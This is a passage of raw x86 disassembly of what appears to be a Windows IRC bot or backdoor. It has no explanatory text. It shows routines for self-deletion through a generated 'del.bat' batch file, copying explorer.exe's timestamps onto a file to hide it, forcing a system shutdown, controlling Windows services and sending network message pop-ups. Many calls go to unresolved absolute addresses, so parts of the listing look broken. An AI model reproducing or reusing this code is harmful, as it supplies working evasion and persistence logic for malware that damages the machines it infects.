		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418550
		cmp	ebx, 1F4h
		jge	short loc_418555
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418550:				; CODE XREF: sub_4184CC+69j
					; sub_4184CC+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_418531


loc_418555:				; CODE XREF: sub_4184CC+5Dj
					; sub_4184CC+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418573
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41CD20
		add	esp, 0Ch


loc_418573:				; CODE XREF: sub_4184CC+8Ej
		mov	eax, ebx


loc_418575:				; CODE XREF: sub_4184CC+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_4184CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_418579	proc near		; CODE XREF: sub_4185D3+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_4185B2
		push	ebx
		mov	ebx, edi


loc_418596:				; CODE XREF: sub_418579+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_4185B5
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418596
		pop	ebx


loc_4185B2:				; CODE XREF: sub_418579+18j
		pop	edi
		pop	esi
		retn
sub_418579	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185B5	proc near		; CODE XREF: sub_418579+25p
					; sub_4185D3+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DFEC
		cmp	al, 61h
		pop	ecx
		jl	short loc_4185D0
		cmp	al, 7Ah
		jg	short loc_4185D0
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_4185B5+Ej
					; sub_4185B5+12j
		xor	eax, eax
		retn
sub_4185B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185D3	proc near		; CODE XREF: sub_415E19+10p
					; ___:00415EEBp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B9C0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_418579
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_418611:				; CODE XREF: sub_4185D3+B6j
		test	esi, esi
		jle	short loc_41868F
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DFEC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418687


loc_418637:				; CODE XREF: sub_4185D3+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_4185B5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418658
		mov	eax, ecx


loc_418658:				; CODE XREF: sub_4185D3+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41868B
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41DFEC
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418637


loc_418687:				; CODE XREF: sub_4185D3+62j
		dec	edi
		dec	esi
		jmp	short loc_418611
; ---------------------------------------------------------------------------


loc_41868B:				; CODE XREF: sub_4185D3+8Aj
		xor	eax, eax
		jmp	short loc_418694
; ---------------------------------------------------------------------------


loc_41868F:				; CODE XREF: sub_4185D3+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418694:				; CODE XREF: sub_4185D3+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4185D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418699	proc near		; CODE XREF: sub_401ACD+66C5p
					; sub_401ACD+76FFp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 26A0CA7h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 2820000h
		nop
		lea	eax, [ebp+var_100]


loc_4186D2:				; CODE XREF: sub_418699+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_4186DE
		cmp	cl, 9
		jnz	short loc_4186E1


loc_4186DE:				; CODE XREF: sub_418699+3Ej
		inc	eax
		jmp	short loc_4186D2
; ---------------------------------------------------------------------------


loc_4186E1:				; CODE XREF: sub_418699+43j
					; sub_418699+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4186FB
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_4186E1
		cmp	cl, 21h
		jl	short loc_4186E1


loc_4186FB:				; CODE XREF: sub_418699+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DB17C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418699	endp


; =============== S U B	R O U T	I N E =======================================



sub_418723	proc near		; CODE XREF: sub_401ACD+2470p
		push	esi
		push	0
		call	dword_4CB9A4
		test	eax, eax
		jz	short loc_41875A
		push	1
		call	dword_4CB9C4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41875A
		push	edi
		push	esi
		call	near ptr 283057Ch
		nop
		push	esi
		mov	edi, eax
		nop
		call	near ptr 2830000h
		call	dword_4CBA28
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41875A:				; CODE XREF: sub_418723+Bj
					; sub_418723+19j
		xor	eax, eax
		pop	esi
		retn
sub_418723	endp


; =============== S U B	R O U T	I N E =======================================



sub_41875E	proc near		; CODE XREF: sub_401ACD+74BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB9E0
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4187DA
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 284018Eh
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 2840000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CBA30
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CBA30
		push	ebx
		call	near ptr 2830C17h
		nop
		push	edi
		nop
		call	near ptr 2680000h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_4187DC
; ---------------------------------------------------------------------------


loc_4187DA:				; CODE XREF: sub_41875E+16j
		xor	eax, eax


loc_4187DC:				; CODE XREF: sub_41875E+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41875E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187E0	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CBA90
		test	eax, eax
		jz	short loc_41887F
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270F8
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	near ptr 2850000h
		nop
		push	ebx
		mov	ebx, dword_427070
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 28408AAh
		nop
		push	esi
		call	ebx


loc_41887F:				; CODE XREF: sub_4187E0+2Aj
					; sub_4187E0+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4187E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418884	proc near		; CODE XREF: sub_401ACD+1682p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB914
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188A6	proc near		; CODE XREF: sub_401ACD+270Ep
					; ___:00416C12p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_4188CA
		cmp	dword_4CBAA4, esi
		jnz	short loc_4188CA
		push	esi
		call	sub_401000
		pop	ecx


loc_4188CA:				; CODE XREF: sub_4188A6+13j
					; sub_4188A6+1Bj
		call	sub_40B583
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26C0000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2750000h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_418A2A
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 2740000h
		push	edi
		nop
		call	near ptr 2680000h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43DB88
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 26B050Eh
		push	eax
		call	near ptr 2690000h
		nop
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 26B049Bh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4189D2
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 26B03C7h


loc_4189D2:				; CODE XREF: sub_4188A6+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2860000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 268024Eh


loc_418A2A:				; CODE XREF: sub_4188A6+72j
		pop	edi
		pop	esi
		leave
		retn
sub_4188A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A2E	proc near		; CODE XREF: sub_401ACD+7133p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26F0601h
		cmp	[ebp+var_84], 2
		jnz	short loc_418AC4
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB954
		push	edi
		push	eax
		call	dword_4CB964
		test	eax, eax
		jz	short loc_418AB6
		push	[ebp+arg_10]
		push	offset dword_4394FC


loc_418A8F:				; CODE XREF: sub_418A2E+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		jmp	short loc_418AEE
; ---------------------------------------------------------------------------


loc_418AB6:				; CODE XREF: sub_418A2E+57j
		call	near ptr 26A0CA7h
		nop
		push	eax
		push	offset unk_4394D4
		jmp	short loc_418A8F
; ---------------------------------------------------------------------------


loc_418AC4:				; CODE XREF: sub_418A2E+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_4394A4
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_418AEE:				; CODE XREF: sub_418A2E+86j
		pop	edi
		leave
		retn
sub_418A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AF1	proc near		; CODE XREF: sub_401ACD+551Cp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26F0601h
		cmp	[ebp+var_90], 4
		jnz	short loc_418B47
		cmp	[ebp+var_8C], 0
		jnz	short loc_418B30
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_418B47
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B30:				; CODE XREF: sub_418AF1+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418B42
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_418B47


loc_418B42:				; CODE XREF: sub_418AF1+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B47:				; CODE XREF: sub_418AF1+27j
					; sub_418AF1+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26C0B72h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26D0000h
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41E0B7
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 27E0799h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_418AF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BD1	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 26B0C98h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276E0
		call	sub_41D174
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418BD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C0E	proc near		; CODE XREF: sub_401ACD:loc_406021p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418C66
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439520[esi]
		push	edi
		push	eax
		call	sub_418C88
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418C56
		push	edi
		push	off_43951C[esi]
		push	offset unk_439630


loc_418C46:				; CODE XREF: sub_418C0E+56j
		mov	esi, offset dword_4DBA40
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_418C83
; ---------------------------------------------------------------------------


loc_418C56:				; CODE XREF: sub_418C0E+2Aj
		push	eax
		call	sub_418D2A
		pop	ecx
		push	eax
		push	edi
		push	offset unk_439604
		jmp	short loc_418C46
; ---------------------------------------------------------------------------


loc_418C66:				; CODE XREF: sub_418C0E+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DBA40
		push	off_439518[eax*4]
		push	offset unk_4395E0
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_418C83:				; CODE XREF: sub_418C0E+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418C0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C88	proc near		; CODE XREF: sub_418C0E+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB9C8
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418CAF
		call	near ptr 26A0CA7h
		nop
		mov	ebx, eax
		jmp	short loc_418D24
; ---------------------------------------------------------------------------


loc_418CAF:				; CODE XREF: sub_418C88+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB8B0
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418CCF
		nop
		call	near ptr 26A0CA7h
		mov	ebx, eax
		jmp	short loc_418D1C
; ---------------------------------------------------------------------------


loc_418CCF:				; CODE XREF: sub_418C88+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_418D02
		cmp	eax, 3
		jz	short loc_418CF3
		jle	short loc_418D15
		cmp	eax, 6
		jg	short loc_418D15
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB91C
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418CF3:				; CODE XREF: sub_418C88+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB8B8
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418D02:				; CODE XREF: sub_418C88+4Dj
		push	esi
		call	dword_4CB920


loc_418D09:				; CODE XREF: sub_418C88+69j
					; sub_418C88+78j
		test	eax, eax
		jnz	short loc_418D15
		call	near ptr 26A0CA7h
		nop
		mov	ebx, eax


loc_418D15:				; CODE XREF: sub_418C88+54j
					; sub_418C88+59j ...
		push	esi
		call	dword_4CB8CC


loc_418D1C:				; CODE XREF: sub_418C88+45j
		push	edi
		call	dword_4CB8CC
		pop	esi


loc_418D24:				; CODE XREF: sub_418C88+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D2A	proc near		; CODE XREF: sub_418C0E+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418DDF
		jz	loc_418DD8
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418DA2
		jz	short loc_418D98
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418D8E
		dec	ecx
		dec	ecx
		jz	short loc_418D84
		dec	ecx
		jz	short loc_418D7A
		sub	ecx, 51h
		jz	short loc_418D70
		sub	ecx, 24h
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D70:				; CODE XREF: sub_418D2A+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D7A:				; CODE XREF: sub_418D2A+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D84:				; CODE XREF: sub_418D2A+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D8E:				; CODE XREF: sub_418D2A+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D98:				; CODE XREF: sub_418D2A+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DA2:				; CODE XREF: sub_418D2A+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418DD1
		dec	ecx
		jz	short loc_418DCA
		dec	ecx
		jz	short loc_418DC3
		dec	ecx
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DC3:				; CODE XREF: sub_418D2A+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DCA:				; CODE XREF: sub_418D2A+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD1:				; CODE XREF: sub_418D2A+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD8:				; CODE XREF: sub_418D2A+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DDF:				; CODE XREF: sub_418D2A+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		jz	short loc_418E42
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418E96[ecx]
		jmp	off_418E6E[ecx*4] ; switch jump


loc_418E03:				; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecifiedDa ; jumptable 00418DFC case 7
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E0A:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDepe ; jumptable 00418DFC case 17
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E11:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDe_0 ; jumptable 00418DFC case 10
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E18:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasB ; jumptable 00418DFC case 0
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E1F:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecified_0 ; jumptable 00418DFC case 2
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E26:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceCoul ; jumptable 00418DFC case 11
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHa_0 ; jumptable 00418DFC case 14
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E34:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheRequested_1 ; jumptable 00418DFC case 3
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E3B:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasN ; jumptable 00418DFC case 4
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E42:				; CODE XREF: sub_418D2A+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_418E47:				; CODE XREF: sub_418D2A+41j
					; sub_418D2A+4Bj ...
		push	offset dword_4DB380
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_418E68
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418D2A+36j
					; sub_418D2A+89j ...
		push	eax		; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB380
		call	sub_41C266
		add	esp, 0Ch


loc_418E68:				; CODE XREF: sub_418D2A+129j
		mov	eax, offset dword_4DB380
		retn
sub_418D2A	endp

; ---------------------------------------------------------------------------
off_418E6E	dd offset loc_418E18	; DATA XREF: sub_418D2A+D2r
		dd offset loc_418E1F	; jump table for switch	statement
		dd offset loc_418E34
		dd offset loc_418E3B
		dd offset loc_418E03
		dd offset loc_418E11
		dd offset loc_418E26
		dd offset loc_418E2D
		dd offset loc_418E0A
		dd offset loc_418E55
byte_418E96	db	0,     9,     1,     2 ; DATA XREF: sub_418D2A+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EA8	proc near		; CODE XREF: sub_401ACD+44D6p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
